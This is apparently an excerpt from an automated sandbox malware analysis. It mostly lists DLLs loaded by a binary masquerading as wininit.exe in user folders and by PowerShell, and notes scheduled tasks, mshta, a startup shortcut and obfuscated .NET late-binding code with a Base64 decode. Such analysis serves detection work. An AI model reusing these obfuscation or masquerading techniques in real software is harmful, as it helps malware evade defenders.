Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: cryptbase.dll

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Source: wininit.lnk.5.dr

LNK file: ..\..\..\..\..\wininit.exe

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

.NET source code contains method to dynamically call methods (often used by packers)

Data Obfuscation

Source: BIT6DEB.tmp.3.dr, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{UR3gCb328MYbm7MPojEWK4UNCrh0dVx2Hn3KSmCmpvrmxUhdhoV7BBMeTQUAN6hs.MHG21zpXaSjLHc54CSiedjvW72IGe9UuwAcuGjvjVrq0NTL6IUQNaBcJkQTl9UPl,UR3gCb328MYbm7MPojEWK4UNCrh0dVx2Hn3KSmCmpvrmxUhdhoV7BBMeTQUAN6hs.LnfNdMM3pQRdAoxhTB9DU981oCArknyJUhYwPGki4QoTt4lgZ2q5UUmnHa3Bsgjh,UR3gCb328MYbm7MPojEWK4UNCrh0dVx2Hn3KSmCmpvrmxUhdhoV7BBMeTQUAN6hs.iz0EXQ3TEvbsDsTkgu4sV5j1vx97rIQVpwOZsxDQXB2yAlJoEqlmQbRwnWepR6PK,UR3gCb328MYbm7MPojEWK4UNCrh0dVx2Hn3KSmCmpvrmxUhdhoV7BBMeTQUAN6hs.WlAjoEJDup98sCmD5Hp9GeM0zyod4aOUXUCjhOQIJRBJQDqXVZdLLcZx57YuugZ4,Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.BXI4kmJh7ZYEDFc5xHzxyVb6OA3BF5atOk79qzTB0feHywq8pqPDpyPlkWMOSxFs2fnNcQl4SwEbvNPlRi()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: BIT6DEB.tmp.3.dr, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{u18Yrvd6MHYzWKkpaqIpVdhSMFtlwPlc4jel8z7Z94evmRhK6[2],Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.GLwACZZdCKkhy1QWaJyL9RUyZo0dawz8xKtdEETkQeZ639bK6kjjpJVV4imsXmMaLXqH7q3gUYd1APJWs3(Convert.FromBase64String(u18Yrvd6MHYzWKkpaqIpVdhSMFtlwPlc4jel8z7Z94evmRhK6[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: wininit.exe.5.dr, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{UR3gCb328MYbm7MPojEWK4UNCrh0dVx2Hn3KSmCmpvrmxUhdhoV7BBMeTQUAN6hs.MHG21zpXaSjLHc54CSiedjvW72IGe9UuwAcuGjvjVrq0NTL6IUQNaBcJkQTl9UPl,UR3gCb328MYbm7MPojEWK4UNCrh0dVx2Hn3KSmCmpvrmxUhdhoV7BBMeTQUAN6hs.LnfNdMM3pQRdAoxhTB9DU981oCArknyJUhYwPGki4QoTt4lgZ2q5UUmnHa3Bsgjh,UR3gCb328MYbm7MPojEWK4UNCrh0dVx2Hn3KSmCmpvrmxUhdhoV7BBMeTQUAN6hs.iz0EXQ3TEvbsDsTkgu4sV5j1vx97rIQVpwOZsxDQXB2yAlJoEqlmQbRwnWepR6PK,UR3gCb328MYbm7MPojEWK4UNCrh0dVx2Hn3KSmCmpvrmxUhdhoV7BBMeTQUAN6hs.WlAjoEJDup98sCmD5Hp9GeM0zyod4aOUXUCjhOQIJRBJQDqXVZdLLcZx57YuugZ4,Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.BXI4kmJh7ZYEDFc5xHzxyVb6OA3BF5atOk79qzTB0feHywq8pqPDpyPlkWMOSxFs2fnNcQl4SwEbvNPlRi()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: wininit.exe.5.dr, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{u18Yrvd6MHYzWKkpaqIpVdhSMFtlwPlc4jel8z7Z94evmRhK6[2],Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.GLwACZZdCKkhy1QWaJyL9RUyZo0dawz8xKtdEETkQeZ639bK6kjjpJVV4imsXmMaLXqH7q3gUYd1APJWs3(Convert.FromBase64String(u18Yrvd6MHYzWKkpaqIpVdhSMFtlwPlc4jel8z7Z94evmRhK6[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 5.2.wininit.exe.27df820.0.raw.unpack, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{UR3gCb328MYbm7MPojEWK4UNCrh0dVx2Hn3KSmCmpvrmxUhdhoV7BBMeTQUAN6hs.MHG21zpXaSjLHc54CSiedjvW72IGe9UuwAcuGjvjVrq0NTL6IUQNaBcJkQTl9UPl,UR3gCb328MYbm7MPojEWK4UNCrh0dVx2Hn3KSmCmpvrmxUhdhoV7BBMeTQUAN6hs.LnfNdMM3pQRdAoxhTB9DU981oCArknyJUhYwPGki4QoTt4lgZ2q5UUmnHa3Bsgjh,UR3gCb328MYbm7MPojEWK4UNCrh0dVx2Hn3KSmCmpvrmxUhdhoV7BBMeTQUAN6hs.iz0EXQ3TEvbsDsTkgu4sV5j1vx97rIQVpwOZsxDQXB2yAlJoEqlmQbRwnWepR6PK,UR3gCb328MYbm7MPojEWK4UNCrh0dVx2Hn3KSmCmpvrmxUhdhoV7BBMeTQUAN6hs.WlAjoEJDup98sCmD5Hp9GeM0zyod4aOUXUCjhOQIJRBJQDqXVZdLLcZx57YuugZ4,Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.BXI4kmJh7ZYEDFc5xHzxyVb6OA3BF5atOk79qzTB0feHywq8pqPDpyPlkWMOSxFs2fnNcQl4SwEbvNPlRi()}}, (string[])null, (Type[])null, (bool[])null, true)
